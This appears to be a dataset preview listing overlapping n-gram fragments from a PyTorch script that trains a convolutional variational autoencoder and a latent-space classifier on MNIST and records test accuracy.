ngram listlengths 0 67.8k |
|---|
[
"118, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 118, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 56, 4, 2,",
"[{}/{} ({:.0f}%)] \\t Loss: {:.6f} '.format(epoch, batch_idx * len(x_true), len(data_loader.dataset), 100. * batch_idx",
"4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 56, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(56, 28, 4,",
"1), ) self.decode = nn.Sequential( nn.Conv2d(z_dim, 118, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 118, 4, 2,",
"device = 'cuda' if use_cuda else 'cpu' print('This code is running over', device)",
"= x_true.to(device), target.to(device) z = VAE(x_true, no_dec=True) outputs = C(z) loss = criterion(outputs,",
"'.format(epoch, batch_idx * len(x_true), len(data_loader.dataset), 100. * batch_idx / len(data_loader), loss.item(), )) print('====>",
"n = x.size(0) loss = F.binary_cross_entropy(x_recon, x, size_average=False).div(n) return loss def kl_divergence(mu, logvar):",
"datasets.MNIST('./tmp/MNIST', train=False, download=True, transform=transforms.ToTensor()) data_loader = DataLoader(training_set, batch_size=batch_size, shuffle=True) test_loader = DataLoader(test_set, batch_size=10000,",
"target = x_true.to(device), target.to(device) z = VAE(x_true, no_dec=True) outputs = C(z) loss =",
"not None: m.bias.data.fill_(0) def recon_loss(x_recon, x): n = x.size(0) loss = F.binary_cross_entropy(x_recon, x,",
"transform=transforms.ToTensor()) test_set = datasets.MNIST('./tmp/MNIST', train=False, download=True, transform=transforms.ToTensor()) data_loader = DataLoader(training_set, batch_size=batch_size, shuffle=True) test_loader",
"* batch_idx / len(data_loader), loss.item(), )) print('====> Epoch: {}, \\t Average loss: {:.4f}'",
"recon_loss(x_recon, x): n = x.size(0) loss = F.binary_cross_entropy(x_recon, x, size_average=False).div(n) return loss def",
".format(epoch, train_loss / (batch_idx + 1))) Result.append(('====>epoch:', epoch, 'loss:', train_loss / (batch_idx +",
"logvar.mul(0.5).exp_() eps = std.data.new(std.size()).normal_() return eps.mul(std).add_(mu) def forward(self, x, no_dec=False, no_enc=False): if no_enc:",
"nn.Sequential( nn.Linear(z_dim, 10), nn.ReLU(True), nn.Linear(10, 10), ) self.weight_init() def weight_init(self, mode='normal'): initializer =",
"initializer(m) def forward(self, z): return self.net(z).squeeze() class CNNVAE1(nn.Module): def __init__(self, z_dim=2): super(CNNVAE1, self).__init__()",
"return self.net(z).squeeze() class CNNVAE1(nn.Module): def __init__(self, z_dim=2): super(CNNVAE1, self).__init__() self.z_dim = z_dim self.encode",
"self._modules: for m in self._modules[block]: initializer(m) def forward(self, z): return self.net(z).squeeze() class CNNVAE1(nn.Module):",
"2 training_set = datasets.MNIST('./tmp/MNIST', train=True, download=True, transform=transforms.ToTensor()) test_set = datasets.MNIST('./tmp/MNIST', train=False, download=True, transform=transforms.ToTensor())",
"0, 0.02) if m.bias is not None: m.bias.data.fill_(0) elif isinstance(m, (nn.BatchNorm1d, nn.BatchNorm2d)): m.weight.data.fill_(1)",
"len(data_loader.dataset), 100. * batch_idx / len(data_loader), loss.item(), )) print('====> Epoch: {}, \\t Average",
"10), ) self.weight_init() def weight_init(self, mode='normal'): initializer = normal_init for block in self._modules:",
"mu, logvar, z.squeeze() def normal_init(m): if isinstance(m, (nn.Linear, nn.Conv2d)): init.normal(m.weight, 0, 0.02) if",
"DataLoader import torch.optim as optim import math import numpy as np import os",
"torch.autograd import Variable import torch.nn as nn from torchvision import datasets, transforms from",
"self.encode(x.view(-1, 784)) mu = stats[:, :self.z_dim] logvar = stats[:, self.z_dim:] z = self.reparametrize(mu,",
"is loaded') Result = [] for epoch in range(max_iter): train_loss = 0 for",
"test_loader = DataLoader(test_set, batch_size=10000, shuffle=True, num_workers=3) VAE = CNNVAE1().to(device) VAE.load_state_dict(torch.load('./Info_VAE_CNN')) C = Classification().to(device)",
"outputs = C(z) _, predicted = torch.max(outputs.data, 1) Accuracy = (predicted == labels).sum().item()/x_test.size(0)",
"2, 1), nn.ReLU(True), nn.Conv2d(56, 118, 4, 2, 1), nn.ReLU(True), nn.Conv2d(118, 2 * z_dim,",
"= [] for epoch in range(max_iter): train_loss = 0 for batch_idx, (x_true, target)",
"2, 1), nn.ReLU(True), nn.ConvTranspose2d(56, 28, 4, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 28, 4, 2, 1),",
"eps.mul(std).add_(mu) def forward(self, x, no_dec=False, no_enc=False): if no_enc: gen_z = Variable(torch.randn(49, z_dim), requires_grad=False)",
"2 lr_C = 0.001 beta1_C = 0.9 beta2_C = 0.999 z_dim = 2",
"= stats[:, :self.z_dim] logvar = stats[:, self.z_dim:] z = self.reparametrize(mu, logvar) return z.squeeze()",
"super(Classification, self).__init__() self.z_dim = z_dim self.net = nn.Sequential( nn.Linear(z_dim, 10), nn.ReLU(True), nn.Linear(10, 10),",
"loss.item() if batch_idx % 100 == 0: print('Train Epoch: {} [{}/{} ({:.0f}%)] \\t",
"nn.CrossEntropyLoss() print('Network is loaded') Result = [] for epoch in range(max_iter): train_loss =",
"loss.item(), )) print('====> Epoch: {}, \\t Average loss: {:.4f}' .format(epoch, train_loss / (batch_idx",
"batch_size=10000, shuffle=True, num_workers=3) VAE = CNNVAE1().to(device) VAE.load_state_dict(torch.load('./Info_VAE_CNN')) C = Classification().to(device) optim_C = optim.Adam(C.parameters(),",
"nn.Conv2d(118, 2 * z_dim, 1), ) self.decode = nn.Sequential( nn.Conv2d(z_dim, 118, 1), nn.ReLU(True),",
"-0.5 * (1 + logvar - mu ** 2 - logvar.exp()).sum(1).mean() return kld",
"nn.ConvTranspose2d(118, 56, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(56, 28, 4, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 28,",
"import torch.nn as nn from torchvision import datasets, transforms from torch.utils.data import DataLoader",
"device) max_iter = int(20) batch_size = 100 z_dim = 2 lr_C = 0.001",
"= datasets.MNIST('./tmp/MNIST', train=False, download=True, transform=transforms.ToTensor()) data_loader = DataLoader(training_set, batch_size=batch_size, shuffle=True) test_loader = DataLoader(test_set,",
"Result = [] for epoch in range(max_iter): train_loss = 0 for batch_idx, (x_true,",
"Epoch: {}, \\t Average loss: {:.4f}' .format(epoch, train_loss / (batch_idx + 1))) Result.append(('====>epoch:',",
"train_loss / (batch_idx + 1))) Result.append(('====>epoch:', epoch, 'loss:', train_loss / (batch_idx + 1),",
"z = self.reparametrize(mu, logvar) x_recon = self.decode(z).view(x.size()) return x_recon, mu, logvar, z.squeeze() def",
"gen_z = gen_z.to(device) return self.decode(gen_z).view(x.size()) if no_dec: stats = self.encode(x) mu = stats[:,",
"x, size_average=False).div(n) return loss def kl_divergence(mu, logvar): kld = -0.5 * (1 +",
"4, 2, 1), nn.ReLU(True), nn.Conv2d(56, 118, 4, 2, 1), nn.ReLU(True), nn.Conv2d(118, 2 *",
"is not None: m.bias.data.fill_(0) def recon_loss(x_recon, x): n = x.size(0) loss = F.binary_cross_entropy(x_recon,",
"** 2 - logvar.exp()).sum(1).mean() return kld use_cuda = torch.cuda.is_available() device = 'cuda' if",
"28, 4, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 28, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 1, 4,",
"as F import torch.nn.init as init import matplotlib.pyplot as plt import seaborn as",
"mu, logvar): std = logvar.mul(0.5).exp_() eps = std.data.new(std.size()).normal_() return eps.mul(std).add_(mu) def forward(self, x,",
"self.net(z).squeeze() class CNNVAE1(nn.Module): def __init__(self, z_dim=2): super(CNNVAE1, self).__init__() self.z_dim = z_dim self.encode =",
"num_workers=3) VAE = CNNVAE1().to(device) VAE.load_state_dict(torch.load('./Info_VAE_CNN')) C = Classification().to(device) optim_C = optim.Adam(C.parameters(), lr=0.005, betas=(beta1_C,",
"optim_C.zero_grad() loss.backward() optim_C.step() train_loss += loss.item() if batch_idx % 100 == 0: print('Train",
"__init__(self, z_dim=2): super(CNNVAE1, self).__init__() self.z_dim = z_dim self.encode = nn.Sequential( nn.Conv2d(1, 28, 4,",
"else: stats = self.encode(x.view(-1, 784)) mu = stats[:, :self.z_dim] logvar = stats[:, self.z_dim:]",
"import seaborn as sns import warnings warnings.filterwarnings('ignore') class Classification(nn.Module): def __init__(self, z_dim=2): super(Classification,",
"outputs = C(z) loss = criterion(outputs, target) optim_C.zero_grad() loss.backward() optim_C.step() train_loss += loss.item()",
"self).__init__() self.z_dim = z_dim self.net = nn.Sequential( nn.Linear(z_dim, 10), nn.ReLU(True), nn.Linear(10, 10), )",
"= torch.max(outputs.data, 1) Accuracy = (predicted == labels).sum().item()/x_test.size(0) Result.append(Accuracy) with open(\"InfoAccuracyCNN.txt\", \"w\") as",
"optim_C.step() train_loss += loss.item() if batch_idx % 100 == 0: print('Train Epoch: {}",
"logvar = stats[:, self.z_dim:] z = self.reparametrize(mu, logvar) return z.squeeze() else: stats =",
"test_set = datasets.MNIST('./tmp/MNIST', train=False, download=True, transform=transforms.ToTensor()) data_loader = DataLoader(training_set, batch_size=batch_size, shuffle=True) test_loader =",
"self.decode = nn.Sequential( nn.Conv2d(z_dim, 118, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 118, 4, 2, 1), nn.ReLU(True),",
"in self._modules: for m in self._modules[block]: initializer(m) def forward(self, z): return self.net(z).squeeze() class",
"1), nn.ReLU(True), nn.Conv2d(118, 2 * z_dim, 1), ) self.decode = nn.Sequential( nn.Conv2d(z_dim, 118,",
"+= loss.item() if batch_idx % 100 == 0: print('Train Epoch: {} [{}/{} ({:.0f}%)]",
"is not None: m.bias.data.fill_(0) elif isinstance(m, (nn.BatchNorm1d, nn.BatchNorm2d)): m.weight.data.fill_(1) if m.bias is not",
"= CNNVAE1().to(device) VAE.load_state_dict(torch.load('./Info_VAE_CNN')) C = Classification().to(device) optim_C = optim.Adam(C.parameters(), lr=0.005, betas=(beta1_C, beta2_C)) criterion",
"56, 4, 2, 1), nn.ReLU(True), nn.Conv2d(56, 118, 4, 2, 1), nn.ReLU(True), nn.Conv2d(118, 2",
"2, 1), nn.ReLU(True), nn.Conv2d(118, 2 * z_dim, 1), ) self.decode = nn.Sequential( nn.Conv2d(z_dim,",
"28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 56, 4, 2, 1), nn.ReLU(True), nn.Conv2d(56, 118,",
"reparametrize(self, mu, logvar): std = logvar.mul(0.5).exp_() eps = std.data.new(std.size()).normal_() return eps.mul(std).add_(mu) def forward(self,",
"nn.ConvTranspose2d(118, 118, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 56, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(56,",
"stats = self.encode(x) mu = stats[:, :self.z_dim] logvar = stats[:, self.z_dim:] z =",
"C = Classification().to(device) optim_C = optim.Adam(C.parameters(), lr=0.005, betas=(beta1_C, beta2_C)) criterion = nn.CrossEntropyLoss() print('Network",
"for batch_idx, (x_true, target) in enumerate(data_loader): x_true, target = x_true.to(device), target.to(device) z =",
"x_true, target = x_true.to(device), target.to(device) z = VAE(x_true, no_dec=True) outputs = C(z) loss",
"= z_dim self.encode = nn.Sequential( nn.Conv2d(1, 28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 28,",
"m.weight.data.fill_(1) if m.bias is not None: m.bias.data.fill_(0) def recon_loss(x_recon, x): n = x.size(0)",
"train_loss = 0 for batch_idx, (x_true, target) in enumerate(data_loader): x_true, target = x_true.to(device),",
"in range(max_iter): train_loss = 0 for batch_idx, (x_true, target) in enumerate(data_loader): x_true, target",
"== 0: print('Train Epoch: {} [{}/{} ({:.0f}%)] \\t Loss: {:.6f} '.format(epoch, batch_idx *",
"from torchvision import datasets, transforms from torch.utils.data import DataLoader import torch.optim as optim",
"len(data_loader), loss.item(), )) print('====> Epoch: {}, \\t Average loss: {:.4f}' .format(epoch, train_loss /",
"nn.Sequential( nn.Conv2d(1, 28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 28, 4, 2, 1), nn.ReLU(True),",
"print('Network is loaded') Result = [] for epoch in range(max_iter): train_loss = 0",
"use_cuda else 'cpu' print('This code is running over', device) max_iter = int(20) batch_size",
"super(CNNVAE1, self).__init__() self.z_dim = z_dim self.encode = nn.Sequential( nn.Conv2d(1, 28, 4, 2, 1),",
"def weight_init(self, mode='normal'): initializer = normal_init for block in self._modules: for m in",
"nn.ReLU(True), nn.ConvTranspose2d(56, 28, 4, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 28, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(28,",
"forward(self, x, no_dec=False, no_enc=False): if no_enc: gen_z = Variable(torch.randn(49, z_dim), requires_grad=False) gen_z =",
"= nn.Sequential( nn.Linear(z_dim, 10), nn.ReLU(True), nn.Linear(10, 10), ) self.weight_init() def weight_init(self, mode='normal'): initializer",
"= gen_z.to(device) return self.decode(gen_z).view(x.size()) if no_dec: stats = self.encode(x) mu = stats[:, :self.z_dim]",
"optim import math import numpy as np import os import torch.nn.functional as F",
"import numpy as np import os import torch.nn.functional as F import torch.nn.init as",
"2 * z_dim, 1), ) self.decode = nn.Sequential( nn.Conv2d(z_dim, 118, 1), nn.ReLU(True), nn.ConvTranspose2d(118,",
"= stats[:, self.z_dim:] z = self.reparametrize(mu, logvar) return z.squeeze() else: stats = self.encode(x.view(-1,",
"beta1_C = 0.9 beta2_C = 0.999 z_dim = 2 training_set = datasets.MNIST('./tmp/MNIST', train=True,",
"optim_C = optim.Adam(C.parameters(), lr=0.005, betas=(beta1_C, beta2_C)) criterion = nn.CrossEntropyLoss() print('Network is loaded') Result",
"std.data.new(std.size()).normal_() return eps.mul(std).add_(mu) def forward(self, x, no_dec=False, no_enc=False): if no_enc: gen_z = Variable(torch.randn(49,",
"logvar): kld = -0.5 * (1 + logvar - mu ** 2 -",
"z_dim self.encode = nn.Sequential( nn.Conv2d(1, 28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 28, 4,",
"return x_recon, mu, logvar, z.squeeze() def normal_init(m): if isinstance(m, (nn.Linear, nn.Conv2d)): init.normal(m.weight, 0,",
"len(x_true), len(data_loader.dataset), 100. * batch_idx / len(data_loader), loss.item(), )) print('====> Epoch: {}, \\t",
"nn.ReLU(True), nn.ConvTranspose2d(28, 1, 4, 2, 1), nn.Sigmoid(), ) def reparametrize(self, mu, logvar): std",
"torch.cuda.is_available() device = 'cuda' if use_cuda else 'cpu' print('This code is running over',",
"requires_grad=False) gen_z = gen_z.to(device) return self.decode(gen_z).view(x.size()) if no_dec: stats = self.encode(x) mu =",
"4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 56, 4, 2, 1), nn.ReLU(True), nn.Conv2d(56, 118, 4,",
"epoch in range(max_iter): train_loss = 0 for batch_idx, (x_true, target) in enumerate(data_loader): x_true,",
"running over', device) max_iter = int(20) batch_size = 100 z_dim = 2 lr_C",
"= F.binary_cross_entropy(x_recon, x, size_average=False).div(n) return loss def kl_divergence(mu, logvar): kld = -0.5 *",
"CNNVAE1(nn.Module): def __init__(self, z_dim=2): super(CNNVAE1, self).__init__() self.z_dim = z_dim self.encode = nn.Sequential( nn.Conv2d(1,",
"= Classification().to(device) optim_C = optim.Adam(C.parameters(), lr=0.005, betas=(beta1_C, beta2_C)) criterion = nn.CrossEntropyLoss() print('Network is",
"kld = -0.5 * (1 + logvar - mu ** 2 - logvar.exp()).sum(1).mean()",
"CNNVAE1().to(device) VAE.load_state_dict(torch.load('./Info_VAE_CNN')) C = Classification().to(device) optim_C = optim.Adam(C.parameters(), lr=0.005, betas=(beta1_C, beta2_C)) criterion =",
"stats[:, :self.z_dim] logvar = stats[:, self.z_dim:] z = self.reparametrize(mu, logvar) return z.squeeze() else:",
"nn.Conv2d(28, 28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 56, 4, 2, 1), nn.ReLU(True), nn.Conv2d(56,",
"nn.Linear(10, 10), ) self.weight_init() def weight_init(self, mode='normal'): initializer = normal_init for block in",
"if use_cuda else 'cpu' print('This code is running over', device) max_iter = int(20)",
"np import os import torch.nn.functional as F import torch.nn.init as init import matplotlib.pyplot",
"= criterion(outputs, target) optim_C.zero_grad() loss.backward() optim_C.step() train_loss += loss.item() if batch_idx % 100",
"2, 1), nn.ReLU(True), nn.Conv2d(28, 28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 56, 4, 2,",
"0.9 beta2_C = 0.999 z_dim = 2 training_set = datasets.MNIST('./tmp/MNIST', train=True, download=True, transform=transforms.ToTensor())",
"self.z_dim:] z = self.reparametrize(mu, logvar) return z.squeeze() else: stats = self.encode(x.view(-1, 784)) mu",
"normal_init(m): if isinstance(m, (nn.Linear, nn.Conv2d)): init.normal(m.weight, 0, 0.02) if m.bias is not None:",
"transform=transforms.ToTensor()) data_loader = DataLoader(training_set, batch_size=batch_size, shuffle=True) test_loader = DataLoader(test_set, batch_size=10000, shuffle=True, num_workers=3) VAE",
"= self.encode(x.view(-1, 784)) mu = stats[:, :self.z_dim] logvar = stats[:, self.z_dim:] z =",
"0.02) if m.bias is not None: m.bias.data.fill_(0) elif isinstance(m, (nn.BatchNorm1d, nn.BatchNorm2d)): m.weight.data.fill_(1) if",
"'cpu' print('This code is running over', device) max_iter = int(20) batch_size = 100",
"as sns import warnings warnings.filterwarnings('ignore') class Classification(nn.Module): def __init__(self, z_dim=2): super(Classification, self).__init__() self.z_dim",
"1), nn.ReLU(True), nn.ConvTranspose2d(118, 118, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 56, 4, 2, 1),",
"- mu ** 2 - logvar.exp()).sum(1).mean() return kld use_cuda = torch.cuda.is_available() device =",
"z_dim), requires_grad=False) gen_z = gen_z.to(device) return self.decode(gen_z).view(x.size()) if no_dec: stats = self.encode(x) mu",
"if isinstance(m, (nn.Linear, nn.Conv2d)): init.normal(m.weight, 0, 0.02) if m.bias is not None: m.bias.data.fill_(0)",
"z_dim self.net = nn.Sequential( nn.Linear(z_dim, 10), nn.ReLU(True), nn.Linear(10, 10), ) self.weight_init() def weight_init(self,",
"4, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 28, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 1, 4, 2,",
"isinstance(m, (nn.Linear, nn.Conv2d)): init.normal(m.weight, 0, 0.02) if m.bias is not None: m.bias.data.fill_(0) elif",
")) (x_test, labels) = iter(test_loader).next() x_test, labels = x_test.to(device), labels.to(device) z = VAE(x_test.to(device),",
"labels = x_test.to(device), labels.to(device) z = VAE(x_test.to(device), no_dec=True) outputs = C(z) _, predicted",
"({:.0f}%)] \\t Loss: {:.6f} '.format(epoch, batch_idx * len(x_true), len(data_loader.dataset), 100. * batch_idx /",
"= VAE(x_true, no_dec=True) outputs = C(z) loss = criterion(outputs, target) optim_C.zero_grad() loss.backward() optim_C.step()",
"z): return self.net(z).squeeze() class CNNVAE1(nn.Module): def __init__(self, z_dim=2): super(CNNVAE1, self).__init__() self.z_dim = z_dim",
"criterion(outputs, target) optim_C.zero_grad() loss.backward() optim_C.step() train_loss += loss.item() if batch_idx % 100 ==",
"self.z_dim:] z = self.reparametrize(mu, logvar) x_recon = self.decode(z).view(x.size()) return x_recon, mu, logvar, z.squeeze()",
"download=True, transform=transforms.ToTensor()) data_loader = DataLoader(training_set, batch_size=batch_size, shuffle=True) test_loader = DataLoader(test_set, batch_size=10000, shuffle=True, num_workers=3)",
"= 0.001 beta1_C = 0.9 beta2_C = 0.999 z_dim = 2 training_set =",
"z_dim=2): super(CNNVAE1, self).__init__() self.z_dim = z_dim self.encode = nn.Sequential( nn.Conv2d(1, 28, 4, 2,",
"self).__init__() self.z_dim = z_dim self.encode = nn.Sequential( nn.Conv2d(1, 28, 4, 2, 1), nn.ReLU(True),",
"= x_test.to(device), labels.to(device) z = VAE(x_test.to(device), no_dec=True) outputs = C(z) _, predicted =",
"z = VAE(x_true, no_dec=True) outputs = C(z) loss = criterion(outputs, target) optim_C.zero_grad() loss.backward()",
"m.bias is not None: m.bias.data.fill_(0) elif isinstance(m, (nn.BatchNorm1d, nn.BatchNorm2d)): m.weight.data.fill_(1) if m.bias is",
":self.z_dim] logvar = stats[:, self.z_dim:] z = self.reparametrize(mu, logvar) return z.squeeze() else: stats",
"kl_divergence(mu, logvar): kld = -0.5 * (1 + logvar - mu ** 2",
"= DataLoader(test_set, batch_size=10000, shuffle=True, num_workers=3) VAE = CNNVAE1().to(device) VAE.load_state_dict(torch.load('./Info_VAE_CNN')) C = Classification().to(device) optim_C",
"1), nn.Sigmoid(), ) def reparametrize(self, mu, logvar): std = logvar.mul(0.5).exp_() eps = std.data.new(std.size()).normal_()",
"init.normal(m.weight, 0, 0.02) if m.bias is not None: m.bias.data.fill_(0) elif isinstance(m, (nn.BatchNorm1d, nn.BatchNorm2d)):",
"return kld use_cuda = torch.cuda.is_available() device = 'cuda' if use_cuda else 'cpu' print('This",
"100 z_dim = 2 lr_C = 0.001 beta1_C = 0.9 beta2_C = 0.999",
"nn.Conv2d(1, 28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28,",
"logvar) x_recon = self.decode(z).view(x.size()) return x_recon, mu, logvar, z.squeeze() def normal_init(m): if isinstance(m,",
"/ (batch_idx + 1))) Result.append(('====>epoch:', epoch, 'loss:', train_loss / (batch_idx + 1), ))",
"z = self.reparametrize(mu, logvar) return z.squeeze() else: stats = self.encode(x.view(-1, 784)) mu =",
"isinstance(m, (nn.BatchNorm1d, nn.BatchNorm2d)): m.weight.data.fill_(1) if m.bias is not None: m.bias.data.fill_(0) def recon_loss(x_recon, x):",
"batch_idx % 100 == 0: print('Train Epoch: {} [{}/{} ({:.0f}%)] \\t Loss: {:.6f}",
"batch_size=batch_size, shuffle=True) test_loader = DataLoader(test_set, batch_size=10000, shuffle=True, num_workers=3) VAE = CNNVAE1().to(device) VAE.load_state_dict(torch.load('./Info_VAE_CNN')) C",
"Average loss: {:.4f}' .format(epoch, train_loss / (batch_idx + 1))) Result.append(('====>epoch:', epoch, 'loss:', train_loss",
"1), nn.ReLU(True), nn.ConvTranspose2d(28, 28, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 1, 4, 2, 1),",
"118, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 56, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(56, 28,",
"nn.Sequential( nn.Conv2d(z_dim, 118, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 118, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 56,",
"- logvar.exp()).sum(1).mean() return kld use_cuda = torch.cuda.is_available() device = 'cuda' if use_cuda else",
"None: m.bias.data.fill_(0) elif isinstance(m, (nn.BatchNorm1d, nn.BatchNorm2d)): m.weight.data.fill_(1) if m.bias is not None: m.bias.data.fill_(0)",
"{:.4f}' .format(epoch, train_loss / (batch_idx + 1))) Result.append(('====>epoch:', epoch, 'loss:', train_loss / (batch_idx",
"return z.squeeze() else: stats = self.encode(x.view(-1, 784)) mu = stats[:, :self.z_dim] logvar =",
"z_dim = 2 training_set = datasets.MNIST('./tmp/MNIST', train=True, download=True, transform=transforms.ToTensor()) test_set = datasets.MNIST('./tmp/MNIST', train=False,",
"100 == 0: print('Train Epoch: {} [{}/{} ({:.0f}%)] \\t Loss: {:.6f} '.format(epoch, batch_idx",
"normal_init for block in self._modules: for m in self._modules[block]: initializer(m) def forward(self, z):",
"logvar.exp()).sum(1).mean() return kld use_cuda = torch.cuda.is_available() device = 'cuda' if use_cuda else 'cpu'",
"as np import os import torch.nn.functional as F import torch.nn.init as init import",
"DataLoader(training_set, batch_size=batch_size, shuffle=True) test_loader = DataLoader(test_set, batch_size=10000, shuffle=True, num_workers=3) VAE = CNNVAE1().to(device) VAE.load_state_dict(torch.load('./Info_VAE_CNN'))",
"1, 4, 2, 1), nn.Sigmoid(), ) def reparametrize(self, mu, logvar): std = logvar.mul(0.5).exp_()",
"epoch, 'loss:', train_loss / (batch_idx + 1), )) (x_test, labels) = iter(test_loader).next() x_test,",
"/ (batch_idx + 1), )) (x_test, labels) = iter(test_loader).next() x_test, labels = x_test.to(device),",
"import math import numpy as np import os import torch.nn.functional as F import",
"z_dim=2): super(Classification, self).__init__() self.z_dim = z_dim self.net = nn.Sequential( nn.Linear(z_dim, 10), nn.ReLU(True), nn.Linear(10,",
"for m in self._modules[block]: initializer(m) def forward(self, z): return self.net(z).squeeze() class CNNVAE1(nn.Module): def",
"code is running over', device) max_iter = int(20) batch_size = 100 z_dim =",
"= self.reparametrize(mu, logvar) x_recon = self.decode(z).view(x.size()) return x_recon, mu, logvar, z.squeeze() def normal_init(m):",
"= DataLoader(training_set, batch_size=batch_size, shuffle=True) test_loader = DataLoader(test_set, batch_size=10000, shuffle=True, num_workers=3) VAE = CNNVAE1().to(device)",
"self.weight_init() def weight_init(self, mode='normal'): initializer = normal_init for block in self._modules: for m",
"1), nn.ReLU(True), nn.Conv2d(56, 118, 4, 2, 1), nn.ReLU(True), nn.Conv2d(118, 2 * z_dim, 1),",
"from torch.utils.data import DataLoader import torch.optim as optim import math import numpy as",
"sns import warnings warnings.filterwarnings('ignore') class Classification(nn.Module): def __init__(self, z_dim=2): super(Classification, self).__init__() self.z_dim =",
") def reparametrize(self, mu, logvar): std = logvar.mul(0.5).exp_() eps = std.data.new(std.size()).normal_() return eps.mul(std).add_(mu)",
"0.999 z_dim = 2 training_set = datasets.MNIST('./tmp/MNIST', train=True, download=True, transform=transforms.ToTensor()) test_set = datasets.MNIST('./tmp/MNIST',",
"loss = criterion(outputs, target) optim_C.zero_grad() loss.backward() optim_C.step() train_loss += loss.item() if batch_idx %",
"warnings.filterwarnings('ignore') class Classification(nn.Module): def __init__(self, z_dim=2): super(Classification, self).__init__() self.z_dim = z_dim self.net =",
"kld use_cuda = torch.cuda.is_available() device = 'cuda' if use_cuda else 'cpu' print('This code",
"(1 + logvar - mu ** 2 - logvar.exp()).sum(1).mean() return kld use_cuda =",
"optim.Adam(C.parameters(), lr=0.005, betas=(beta1_C, beta2_C)) criterion = nn.CrossEntropyLoss() print('Network is loaded') Result = []",
"iter(test_loader).next() x_test, labels = x_test.to(device), labels.to(device) z = VAE(x_test.to(device), no_dec=True) outputs = C(z)",
"(batch_idx + 1), )) (x_test, labels) = iter(test_loader).next() x_test, labels = x_test.to(device), labels.to(device)",
"stats[:, self.z_dim:] z = self.reparametrize(mu, logvar) return z.squeeze() else: stats = self.encode(x.view(-1, 784))",
"no_dec=True) outputs = C(z) _, predicted = torch.max(outputs.data, 1) Accuracy = (predicted ==",
"no_dec=False, no_enc=False): if no_enc: gen_z = Variable(torch.randn(49, z_dim), requires_grad=False) gen_z = gen_z.to(device) return",
"0: print('Train Epoch: {} [{}/{} ({:.0f}%)] \\t Loss: {:.6f} '.format(epoch, batch_idx * len(x_true),",
"1), )) (x_test, labels) = iter(test_loader).next() x_test, labels = x_test.to(device), labels.to(device) z =",
"m.bias.data.fill_(0) elif isinstance(m, (nn.BatchNorm1d, nn.BatchNorm2d)): m.weight.data.fill_(1) if m.bias is not None: m.bias.data.fill_(0) def",
"return loss def kl_divergence(mu, logvar): kld = -0.5 * (1 + logvar -",
"F import torch.nn.init as init import matplotlib.pyplot as plt import seaborn as sns",
"= nn.Sequential( nn.Conv2d(z_dim, 118, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 118, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(118,",
"print('====> Epoch: {}, \\t Average loss: {:.4f}' .format(epoch, train_loss / (batch_idx + 1)))",
"numpy as np import os import torch.nn.functional as F import torch.nn.init as init",
"return self.decode(gen_z).view(x.size()) if no_dec: stats = self.encode(x) mu = stats[:, :self.z_dim] logvar =",
"28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 56,",
"\\t Loss: {:.6f} '.format(epoch, batch_idx * len(x_true), len(data_loader.dataset), 100. * batch_idx / len(data_loader),",
"= 0 for batch_idx, (x_true, target) in enumerate(data_loader): x_true, target = x_true.to(device), target.to(device)",
"as optim import math import numpy as np import os import torch.nn.functional as",
"std = logvar.mul(0.5).exp_() eps = std.data.new(std.size()).normal_() return eps.mul(std).add_(mu) def forward(self, x, no_dec=False, no_enc=False):",
"m.bias is not None: m.bias.data.fill_(0) def recon_loss(x_recon, x): n = x.size(0) loss =",
"max_iter = int(20) batch_size = 100 z_dim = 2 lr_C = 0.001 beta1_C",
"data_loader = DataLoader(training_set, batch_size=batch_size, shuffle=True) test_loader = DataLoader(test_set, batch_size=10000, shuffle=True, num_workers=3) VAE =",
"+ logvar - mu ** 2 - logvar.exp()).sum(1).mean() return kld use_cuda = torch.cuda.is_available()",
"logvar): std = logvar.mul(0.5).exp_() eps = std.data.new(std.size()).normal_() return eps.mul(std).add_(mu) def forward(self, x, no_dec=False,",
"= nn.CrossEntropyLoss() print('Network is loaded') Result = [] for epoch in range(max_iter): train_loss",
"C(z) _, predicted = torch.max(outputs.data, 1) Accuracy = (predicted == labels).sum().item()/x_test.size(0) Result.append(Accuracy) with",
":self.z_dim] logvar = stats[:, self.z_dim:] z = self.reparametrize(mu, logvar) x_recon = self.decode(z).view(x.size()) return",
"= torch.cuda.is_available() device = 'cuda' if use_cuda else 'cpu' print('This code is running",
"'loss:', train_loss / (batch_idx + 1), )) (x_test, labels) = iter(test_loader).next() x_test, labels",
"batch_idx / len(data_loader), loss.item(), )) print('====> Epoch: {}, \\t Average loss: {:.4f}' .format(epoch,",
